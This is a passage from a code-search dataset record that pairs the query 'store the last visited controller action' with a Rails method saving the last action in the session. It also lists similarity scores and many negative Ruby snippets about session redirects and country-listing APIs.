rows.first.length unless rows.empty?\n raise Error, 'your table needs some rows'\n end", "def row_size\n @delegate.getRowSize\n end", "def destroyed_rows_count\n @destroyed_rows_codes.count\n end", "def ship_count\n count = []\n @rows.each do |row|\n count << row.count('s')\n end\n count.reduce(:+)\n end", "def inserted_count\n @results[INSERTED_COUNT]\n end", "def rows_count\n @rows.size\n end", "def prepare_changes(columns)\n self.changes.symbolize_keys.slice(*columns).map do |column, vals|\n [column, vals.last.to_i - vals.first.to_i]\n end.to_h\n end", "def update_upload_filesize_sum\n update_column(:upload_filesize_sum, own_maps.sum(:upload_file_size)) \n end", "def update!(**args)\n @column = args[:column] if args.key?(:column)\n @max_count = args[:max_count] if args.key?(:max_count)\n @stride_length = args[:stride_length] if args.key?(:stride_length)\n end", "def count_imported_deltas\n return @count_imported_deltas\n end", "def last_column; end", "def last_column; end", "def last_column; end", "def last_column; end", "def table_size\n @table.size\n end" ]
[ "0.6864534", "0.6597548", "0.6579706", "0.64548504", "0.64548504", "0.64548504", "0.6387272", "0.6350172", "0.6342795", "0.63403666", "0.63285285", "0.6293497", "0.6291664", "0.6255817", "0.6253389", "0.6198305", "0.6095717", "0.6088122", "0.60836154", "0.6027274", "0.6014999", "0.6014834", "0.60106343", "0.60079247", "0.5974037", "0.59530383", "0.5948773", "0.5944263", "0.5942319", "0.5923851", "0.5901647", "0.5880044", "0.586811", "0.5841128", "0.5838463", "0.5776933", "0.5773669", "0.57568175", "0.57540065", "0.57540065", "0.5748426", "0.5716023", "0.57132745", "0.57094824", "0.570823", "0.56991005", "0.56938595", "0.568781", "0.5684291", "0.56613976", "0.565272", "0.5648543", "0.56214714", "0.5621188", "0.56202424", "0.5608714", "0.5600469", "0.5599904", "0.5596738", "0.55921173", "0.55805016", "0.5575077", "0.55738443", "0.5570713", "0.55444056", "0.55442476", "0.55286264", "0.552727", "0.55214924", "0.55172694", "0.55128974", "0.55128974", "0.55127", "0.55089635", "0.5505729", "0.55035305", "0.55032843", "0.55032843", "0.55019355", "0.5500818", "0.54990137", "0.54918915", "0.5479842", "0.547659", "0.5467074", "0.5466312", "0.54616904", "0.5460671", "0.54523987", "0.54522717", "0.54274", "0.5426839", "0.5426193", "0.5425704", "0.54250735", "0.5416039", "0.5398729", "0.5398729", "0.5398729", "0.5398729", "0.53969216" ]
0.0
-1
store the last visited controller action
def last_visited(action_name, controller_name) if(action_name =='find' and controller_name == 'search') session[:action]='back' session[:controller]=controller_name elsif(action_name =='index' and controller_name == 'main_menu') session[:action]=action_name session[:controller]=controller_name end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def last_action\n Rails.application.routes.recognize_path(request.referrer)[:action]\n end", "def store_location\n unless controller_name == \"sessions\" || action_name == \"activate\"\n session[:return_to] =\n if request.get?\n request.request_uri\n else\n request.referer\n end\n end\n end", "def set_current_action\n @visitor.current_action = @_action_name\nend", "def save_last_location\n session[:last_location] = request.env[\"REQUEST_URI\"]\n true\n end", "def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end", "def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end", "def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end", "def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end", "def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end", "def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end", "def store_last_location\r\n session[:return_to] = request.referer unless URI(request.referer).path == \"/passwords\"\r\n end", "def current_action\n @action\n end", "def store_location\n # store last url as long as it isn't a /users path\n\tsession[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/ or request.fullpath =~ /\\/json/ or request.fullpath =~ /\\/static/\n\t\n end", "def store_location\n\t # store last url - this is needed for post-login redirect to whatever the user last visited.\n\t if !devise_controller? && !request.xhr? # don't store ajax calls\n\t session[:previous_url] = request.fullpath \n\t end\n\tend", "def store_location\n # session[:intended_action] = action_name\n # session[:intended_controller] = controller_name\n # session[:intended_id] = params[:id]\n session[:return_to] = request.request_uri\n end", "def store_location\n # store last url - this is needed for post-login redirect to whatever the user last visited.\n return unless request.get? \n if (!request.fullpath.match(\"/users\") &&\n !request.xhr?) # don't store ajax calls\n session[\"user_return_to\"] = request.fullpath\n end\n end", "def store_location\n\t\tsession[:last_page] = @request.request_uri\n\tend", "def current_action\n params[:action]\n end", "def last_visited\n\t Deck.find(params[:id]).update_attribute(:last_visited, DateTime.now)\n\tend", "def record_referrer\n session[:return_to] = request.url #save the current url in a session varable so the last page can be tracked for navigation and application flow\n end", "def store_previous_url\n if request.referrer.nil?\n session[:forwarding_url] = root_path\n elsif request.get? && !request.original_url.split(\"?\").last.include?(\"page\")\n content = request.referrer\n # take care of posting to /schedule/:id/pieces with errors\n if content.split(\"/\").last == \"pieces\"\n session[:forwarding_url] = content + \"/new\"\n # take care of posting to /schedule/:id/pieces/:id with errors\n elsif (content.split(\"/\").last != \"new\" && content.split(\"/\")[-2] == \"pieces\")\n session[:forwarding_url] = content + \"/edit\"\n else\n session[:forwarding_url] = content\n end\n end\n end", "def last_uri\n session[:last_path]\n end", "def store_location\n\t\t# store last url - this is needed for post-login redirect to whatever the user last visited.\n\t\tif (request.fullpath != \"/users/sign_in\" &&\n\t\t\t\trequest.fullpath != \"/users/sign_up\" &&\n\t\t\t\trequest.fullpath != \"/users/password\" &&\n\t\t\t\trequest.fullpath != \"/users/sign_out\" &&\n\t\t\t\trequest.fullpath !~ /\\/users\\/confirmation/i &&\n\t\t\t\t!request.xhr?) # don't store ajax calls\n\t\t\tsession[:previous_url] = request.fullpath\n\t\tend\n\tend", "def store_location\n\t\tif request.get?\n\t\t\tcookies[:previous_url] = request.url\n\t\tend\n\tend", "def remember_last_visited_record(record)\n session[:last_admin_edited] = record.id if record.respond_to?(:id)\n end", "def log_user_recent_route\n @sessions_current_user.add_page_to_recent(request.fullpath) if @sessions_current_user\n end", "def store_location\n # store last url - this is needed for post-login redirect to whatever the user last visited.\n if (request.path != \"/users/sign_in\" &&\n request.path != \"/users/sign_up\" &&\n request.path != \"/users/password/new\" &&\n request.path != \"/users/password/edit\" &&\n request.path != \"/users/confirmation\" &&\n request.path != \"/users/sign_out\" &&\n !request.fullpath.match(/\\/users\\/auth\\//) &&\n !request.xhr?) # don't store ajax calls\n session[:previous_url] = request.fullpath\n end\n end", "def store_path_history\n if !request.xhr? && request.method == 'GET' && session[:last_path] != request.fullpath\n session[:prev_path] = session[:last_path]\n session[:last_path] = request.fullpath\n end\n end", "def store_location\n\t\tsession[:return_to] = request.url\n\tend", "def save_last_request\n\t\t# Check if Back-Button is pressed\n\t\tunless @is_back_search\n\t\t\t# Push the last search and thumbnail to stack.\n\t\t\t@searched << @current_search if @current_search != {phrase: \"\", thumbnail: nil}\n\t\t\t@current_search = {phrase: \"\", thumbnail: nil}\n\t\tend\n\t\t@is_back_search = false\n\tend", "def back\n @agent.history.pop\n end", "def store_location\n\t\tsession[:forwarding_url]=request.original_url if request.get?\n\tend", "def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend", "def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend", "def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend", "def store_location\n session[:return_to] = request.fullpath if request.get? and controller_name != \"user_sessions\" and controller_name != \"sessions\"\n end", "def store_location\n session[:return_to] = request.referrer\n end", "def back_url\n if (controller_name == 'sessions') || (controller_name == 'users')\n url = controller_name + '/new'\n elsif (request.referrer != request.path)\n url = request.referrer\n elsif (controller_name != 'sessions') && (controller_name != 'users')\n url = root_path + controller_name\n else \n url = root_path \n end \n end", "def store_location\n session['user_return_to'] = request.original_url\n end", "def store_location\n \tsession[:forwarding_url] = request.original_url if request.get?\n\tend", "def store_location\n session[:forwarding_url] = request.referrer if request.get?\n end", "def store_location\n \t\tsession[:forwarding_url] = request.original_url if request.get?\n \tend", "def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend", "def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend", "def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend", "def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend", "def save_previous_page\n session[:return_to] = request.fullpath\n end", "def store_location\n\t\tsession[ :forwarding_url ] = request.original_url if request.get?\n\tend", "def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end", "def set_previous_action\n session[:typus_previous] = nil\n if params[:bta] && params[:btm]\n previous = Hash.new\n previous[:btm], previous[:bta], previous[:bti] = params[:btm], params[:bta], params[:bti]\n session[:typus_previous] = previous\n end\n end", "def actions_cached\n controller.trait[:actions_cached]\n end", "def store_location\n\t session[:forwarding_url] = request.original_url if request.get?\n\tend", "def store_location\n session[:return_to] = request.fullpath\n end", "def store_location\n session[:user_return_to] = request.url if request.get? and controller_name != \"sessions\" and controller_name != \"registrations\" and controller_name != \"omniauth_callbacks\"\n end", "def store_referer\n store_referer_except\n end", "def store_location\n session[:return_to] = request.url\n end", "def store_location\n if ((!request.fullpath.match(\"/users\") && !request.fullpath.match(\"/admin\") && !request.fullpath.match(\"/admin/login\")) &&\n !request.xhr?) # don't store ajax calls\n# puts \"----------------------------\"\n# puts \"--not store--\"\n session[:previous_url] = request.fullpath\n else\n# puts \"----------------------------\"\n# puts \"--store--\"\n end\n end", "def store_location\n\t\t\tsession[:return_to] = request.fullpath\n\t end", "def repeat_last_menu_action\n controller_name = read_from_client_info_store(:last_used_menu_controller)\n action_name = read_from_client_info_store(:last_used_menu_action)\n\n # Suchen des div im Menü-ul und simulieren eines clicks auf den Menü-Eintrag\n respond_to do |format|\n format.js {render :js => \"$('#menu_#{controller_name}_#{action_name}').click();\"}\n end\n end", "def store_location\n session[:forwarding_url] = request.url if request.get? # only for get requests. A user could technically delete their cookie then submit a form\n end", "def unloged\n cookies[:actions] = if cookies[:actions]\n cookies[:actions].to_i + 1\n else\n 0\n end\n end", "def after_save(cc)\n redirect_to :controller => 'home', :action => 'index' if cc\n end", "def url_after_create\r\n session[:return_to] || root_path\r\n end", "def store_location\n\t\t\tsession[:return_to] = request.fullpath\n\t\tend", "def store_location\n\n\t\t# Stores the requested page in a session symbol return_to\n\t\tsession[:return_to] = request.url\n\tend", "def store_location\n # session[:forwarding_url] = request.url if request.get?\n user_session[:forwarding_url] = request.referer if request.get? && request.referer\n end", "def store_location\n\t\tsession[:return_to] = request.fullpath\n\tend", "def store_location\n\t\tsession[:return_to] = request.fullpath\n\tend", "def store_location\n session[:return_to] = request.url\n end", "def store_location\n session[:return_to] = request.url\n end", "def store_location\n session[:return_to] = request.url\n end", "def store_location\n session[:return_to] = request.url\n end", "def store_location\n session[:return_to] = request.url if request.get?\n end", "def store_location\n session[:return_to] = request.url if request.get?\n end", "def store_location\n session[:return_to] = request.url if request.get?\n end", "def store_location\n session[:return_to] = request.url if request.get?\n end", "def store_location\n session[:return_to] = request.url if request.get?\n end", "def store_location\n session[:return_to] = request.url if request.get?\n end", "def store_location\n session[:return_to] = request.url if request.get?\n end", "def store_location\n session[:return_to] = request.original_url\n end", "def store_location\n session[:return_to] = request.uri\n end", "def redirection_history; end", "def user_action\n return @user_action\n end", "def store_location\n session[:forwarding_url] = request.original_fullpath if request.get?\n end", "def current_action\n self.controller.action_name.to_sym\n end", "def store_location\n # Store the URL only when the reqest was GET\n session[:forwarding_url] = request.original_url if request.get?\n end", "def last_location\n session[:last_location] || root_url\n end", "def store_location\n session[:redirect_stack] ||= []\n session[:redirect_stack] << request.fullpath\n end", "def store_location \n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend", "def store_location\n session[:return_to] = request.request_uri if not current_user\n end", "def store_location\n session[:forward_url] = request.url if request.get?\n end", "def store_location\n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend", "def store_location\n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend", "def store_location\n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend", "def store_location\n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend", "def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end" ]
[ "0.7239229", "0.65947676", "0.65531045", "0.6485375", "0.63915485", "0.63915485", "0.63915485", "0.63915485", "0.63915485", "0.63915485", "0.63901985", "0.63856924", "0.6344792", "0.631518", "0.62859535", "0.6241631", "0.62188554", "0.61764526", "0.6174074", "0.6171718", "0.6159852", "0.60825115", "0.6081637", "0.605352", "0.6032896", "0.6021228", "0.60076344", "0.600353", "0.597908", "0.59605116", "0.5951364", "0.5932382", "0.59227806", "0.59227806", "0.59227806", "0.59201205", "0.59089", "0.59052014", "0.59043425", "0.59011996", "0.58984715", "0.58900225", "0.58789235", "0.58789235", "0.58789235", "0.58789235", "0.5878249", "0.58717126", "0.586911", "0.586911", "0.5866389", "0.5866219", "0.5866023", "0.5865097", "0.58616406", "0.5854976", "0.5854704", "0.5853543", "0.58516365", "0.5838075", "0.58359665", "0.58317274", "0.58290964", "0.5822374", "0.5820577", "0.5811938", "0.58018756", "0.58012235", "0.58012235", "0.58009905", "0.58009905", "0.58009905", "0.58009905", "0.5800659", "0.5800659", "0.5800659", "0.5800659", "0.5800659", "0.5800659", "0.5800659", "0.58004725", "0.5798438", "0.5791829", "0.57846993", "0.5782916", "0.57827675", "0.5771011", "0.57651603", "0.5764138", "0.57611287", "0.57606107", "0.57552826", "0.575169", "0.575169", "0.575169", "0.575169", "0.57467985", "0.57467985", "0.57467985", "0.57467985" ]
0.78936595
0
GET /countries GET /countries.json
def index @countries = Country.all render json: @countries end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def country_list\n get_request( \"/api/v2_1/api/countries\")\n end", "def get_countries\n perform(:get, 'enum/countries', nil, nonauth_headers).body\n end", "def index\n @countries = Country.all\n json_response(@countries)\n end", "def countries\n collection(\"countries\")\n end", "def all_countries \n\t\tself.class.get('/all')\n\tend", "def countries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CountriesApi#countries ...\"\n end\n \n # resource path\n local_var_path = \"/countries/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'languageCode'] = opts[:'language_code'] if opts[:'language_code']\n query_params[:'key'] = opts[:'key'] if opts[:'key']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CountryList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CountriesApi#countries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n render json: @country\n end", "def index\n if params[:country]\n country = Country.find_by_id(params[:country])\n if !country.nil?\n @cities = country.cities\n else\n flash[:error] = t(:country_not_found)\n @cities = nil\n end\n else\n return redirect_to countries_path\n end\n\n respond_to do |format|\n# format.html # index.html.erb\n format.json { render json: @cities }\n end\n end", "def show\n json_response(@country)\n end", "def get_countries\n \tresponse = invoke(\"web:GetCountries\", :soap_action => :none)\n\n \tnode = response.document.xpath('//ns:GetCountriesResult', ns)[0]\n \tparse_country_description(node)\n end", "def index\n get_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @countries }\n format.js\n end\n end", "def show_cities\n\n @cities = City.where(\"country_id = ?\", params[:country_id])\n\n render json: @cities\n \n end", "def index\n @q = Country.search(params[:q])\n @countries = @q.result.includes(:user_countries)\n\n respond_with(@countries, @q)\n end", "def countries(input)\n get_single_method('countries', input)\n end", "def index\n @countries = Country.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @countries }\n end\n end", "def countries(input)\n get_single_method(:countries, input)\n end", "def countries\n respond_to do |format|\n format.js do\n render :text => ActionView::Helpers::FormOptionsHelper::COUNTRIES.to_json\n end\n format.xml do\n @countries = User.find_countries\n end\n end\n end", "def show\n @country = Country.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @country }\n end\n end", "def show\n @country = Country.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @country }\n end\n end", "def cities\n cities = CS.cities(params[:id], :GB)\n if cities.blank?\n country = ISO3166::Country.find_country_by_alpha3(params[:id])\n cities = country_cites(country)\n return(render json: { message: I18n.t(:invalid_country) }) if cities.blank?\n end\n render json: cities\n end", "def get\n\tresponse = RestClient.get(country_url)\n\t@parsed_response = JSON.parse(response)\nend", "def show_countries(countries)\n for country in countries\n puts country[:name]\n end\nend", "def get_acceptedcountries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AcceptedCountriesApi.get_acceptedcountries ...'\n end\n # resource path\n local_var_path = '/acceptedcountries'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'start_index'] = opts[:'start_index'] if !opts[:'start_index'].nil?\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'whitelist'] = opts[:'whitelist'] if !opts[:'whitelist'].nil?\n query_params[:'search_type'] = opts[:'search_type'] if !opts[:'search_type'].nil?\n query_params[:'fields'] = opts[:'fields'] if !opts[:'fields'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'AcceptedCountriesListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"AcceptedCountriesApi.get_acceptedcountries\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AcceptedCountriesApi#get_acceptedcountries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def countries\n \tif params[:continent_id].present?\n \t\tputs params[:continent_id]\n \t\tvalor = params[:continent_id]\n \t\tcountries = Country.joins(:country_category).where(status: true, continent_number: [valor]).select(:id,:name,:name_cr,:flag_image,:generic_image,:country_category_id,'country_categories.percentage_profile AS country_category_percentage_profile')\n \trender json: countries\n else\n \trender :json => {:result => 'ERROR'}\n \tend\n end", "def countries(opts = {})\n data, status_code, headers = countries_with_http_info(opts)\n return data\n end", "def all_countries_totals\n json_response('/country/all')\n end", "def index\n @countries = Country.all\n end", "def index\n @countries = Country.all\n end", "def index\n @countries = Country.all\n end", "def show\n @countries = Countries.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def countries\r\n\t\t\tCOUNTRIES\r\n\t\tend", "def get_country(code, options = {})\n root = get_root\n object_from_response(GogoKit::Country,\n GogoKit::CountryRepresenter,\n :get,\n \"#{root.links['self'].href}/countries/#{code}\",\n options)\n end", "def country_list\n @countries = Country.find(:all, :order => \"name\" )\n return @countries\n end", "def index\n\t @countries = Country.all\n\tend", "def index\n Country.retrieveCountries\n @countries = Country.all\n\n\n end", "def country_api\n # endpoint = \"https://corona.lmao.ninja/countries\"\n endpoint = 'https://corona.lmao.ninja/v2/countries'\n response = HTTParty.get(endpoint)\n data = JSON.parse response.body\n res = data\n result =[]\n endpoint_all = \"https://corona.lmao.ninja/all\"\n response1 = HTTParty.get(endpoint_all)\n data1 = JSON.parse response1.body\n res1 = data1\n result<<{\n country: \"world\",\n cases: res1[\"cases\"],\n todayCases: res1[\"todayCases\"],\n deaths: res1[\"deaths\"],\n todayDeaths: res1[\"todayDeaths\"],\n recovered: res1[\"recovered\"],\n active: res1[\"active\"],\n critical: res1[\"critical\"],\n casesPerOneMillion: res1[\"casesPerOneMillion\"],\n deathsPerOneMillion: res1[\"deathsPerOneMillion\"],\n tests: res1[\"tests\"],\n testsPerOneMillion: res1[\"testsPerOneMillion\"],\n affectedCountries: res1[\"affectedCountries\"]\n }\n\n res.each do |country|\n result<<{\n country: country[\"country\"],\n lat: country[\"countryInfo\"][\"lat\"],\n long: country[\"countryInfo\"][\"long\"],\n flag: country[\"countryInfo\"][\"flag\"],\n cases: country[\"cases\"],\n todayCases: country[\"todayCases\"],\n deaths: country[\"deaths\"],\n todayDeaths: country[\"todayDeaths\"],\n recovered: country[\"recovered\"],\n active: country[\"active\"],\n critical: country[\"critical\"],\n casesPerOneMillion: country[\"casesPerOneMillion\"],\n deathsPerOneMillion: country[\"deathsPerOneMillion\"],\n tests: country[\"tests\"],\n testsPerOneMillion: country[\"testsPerOneMillion\"]\n }\n end\n render json: result\n end", "def index\n @areas = Area.with_ordered_countries\n respond_with(@areas)\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def show\n @company_country = CompanyCountry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company_country }\n end\n end", "def countries\n countries = YAML.load_file(Rails.root.join('data', 'locale_countries.yml'))\n countries.select! { |_, flag| File.exist? Rails.root.join('app', 'assets', 'images', 'country-flags', \"#{flag.downcase}.png\") }\n # apply potential region values too\n Dir.glob(Rails.root.join('app', 'assets', 'images', 'country-flags', '*.png')).each do |file|\n base = File.basename(file, '.png')\n next if base.starts_with?('_')\n countries[base.upcase] = base\n end\n\n countries.each { |key, flag| countries[key] = view_context.image_path(\"country-flags/#{flag.downcase}.png\") }\n\n render json: countries.to_json\n end", "def index\n @ag_countries = Ag::Country.all\n end", "def country\n client.places.get_countries.select{|hash| hash[\"cid\"] == @params[:country].to_i}.first[:title]\n end", "def all\n countries\n end", "def situations_arrivals_countries_three\n @situations_arrivals_countries = SituationsArrivalsCountry.where(status:true, id: [1,2,3]).order('name ASC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @situations_arrivals_countries}\n end\n end", "def index\n @countries = Country.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def show\n @user = User.find(params[:id])\n @countries = COUNTRIES_HASH\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end", "def set_request\n @countries = ISO3166::Country.all.map { |c| [c.name, c.alpha3] }.sort\n\n if @countries && params[:id]\n @country = @country.find(params[:id])\n end\n end", "def countries\n doc.search(\"table.info a[href*='/m_act%5Bcountry%5D/']\").map(&:text)\n end", "def countries(data)\n my_hash = JSON.parse(data)\n conv_name = my_hash[0]['conventional_short_form']\n puts conv_name\nend", "def get_currency_based_on_country_code\n country_code = params[:country_code]\n if country_code.length == 2\n currency = ISO3166::Country.find_country_by_alpha2(country_code).currency['code']\n elsif country_code.length == 3\n currency = ISO3166::Country.find_country_by_alpha3(country_code).currency['code']\n end\n response = {currency: currency}\n render json: response.to_json, status: \"200\"\n end", "def test_read_user_country\n get '/v1/read_all?data=eyJOYW1lIjogIkVkdWFyZG8iLCAiQ291bnRyeSI6ICJCcmF6aWwiIH0%3D'\n assert last_response.ok?\n assert last_response.body.include?('Brazil')\n end", "def get_acceptedcountries(opts = {})\n data, _status_code, _headers = get_acceptedcountries_with_http_info(opts)\n data\n end", "def countries\n @data.map { |iso2, data| iso2 }\n end", "def countries\n document[\"nationality\"].collect {|nation| nation[\"$\"]} rescue nil\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def countries\n countries_ids = self.answers.where(answer_type: 'geo_countries').first.try(:text_value).split(',')\n Country.where(:id => countries_ids)\n end", "def filter_countries\n SUPER_COUNTRIES\n end", "def show\n @country_area = CountryArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @country_area }\n end\n end", "def cities\n CS.get :us, :ca\n end", "def index\n @cities = City.all\n\n render json: @cities\n end", "def index\n @cultures = Culture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cultures }\n end\n end", "def showCountries\n if session[:user].nil?\n puts \"please log in\"\n redirect_to \"/\"\n else\n @countriesVisited = @user.getCountryVisited\n\t\t @countriesWish = @user.getCountryWish\n end\n end", "def show\n @country = Country.includes(:regions).find(params[:id])\n @tours = Tour.search(params.merge({ region: @country.region_ids}))\n @attractions = @country.regions.map { |i| i.attractions }.flatten\n @hotels = @country.regions.map { |i| i.hotels }.flatten\n @photos = @country.regions.map { |i| i.gallery.photos if i.gallery }.flatten.uniq.compact\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @country }\n end\n end", "def index\n @release_countries = ReleaseCountry.all\n end", "def country_map\n @country_map ||= load_countries\n end", "def index\n @countryinfos = Countryinfo.all\n end", "def country_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.country ...'\n end\n # resource path\n local_var_path = '/country'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<CountryMetadata>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#country\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def countries_three\n \tcountries = Country.joins(:country_category).where(status: true, id: [46,88,234]).select(:id,:name,:name_cr,:flag_image,:generic_image,:country_category_id,'country_categories.percentage_profile AS country_category_percentage_profile')\n \trender json: countries\n end", "def get_countries\n doc = Nokogiri::HTML(open('https://www.britannica.com/topic/list-of-countries-1993160'))\n countries_extracted = doc.css(\"li a\").text.split('Britannica')[1].split(' geography')[0].rstrip\n @processed_countries = countries_extracted.split(/(?<!\\s)(?=[A-Z])/)\n end", "def getCountries(url)\n page = Nokogiri::HTML(RestClient.get(url))\n rawLinks = page.css(\"li a\")\n selection = []\n for link in rawLinks\n if link[\"href\"].include? \"country\"\n selection.push [link.text.strip, \"#{url}#{link[\"href\"]}\"]\n end\n end\n return selection\nend", "def index\n @public_relations = PublicRelation.all.order(round: :desc, created_at: :desc)\n @countries = countries.collect{|x|x[0]}\n end", "def country\n query = create_query(\n 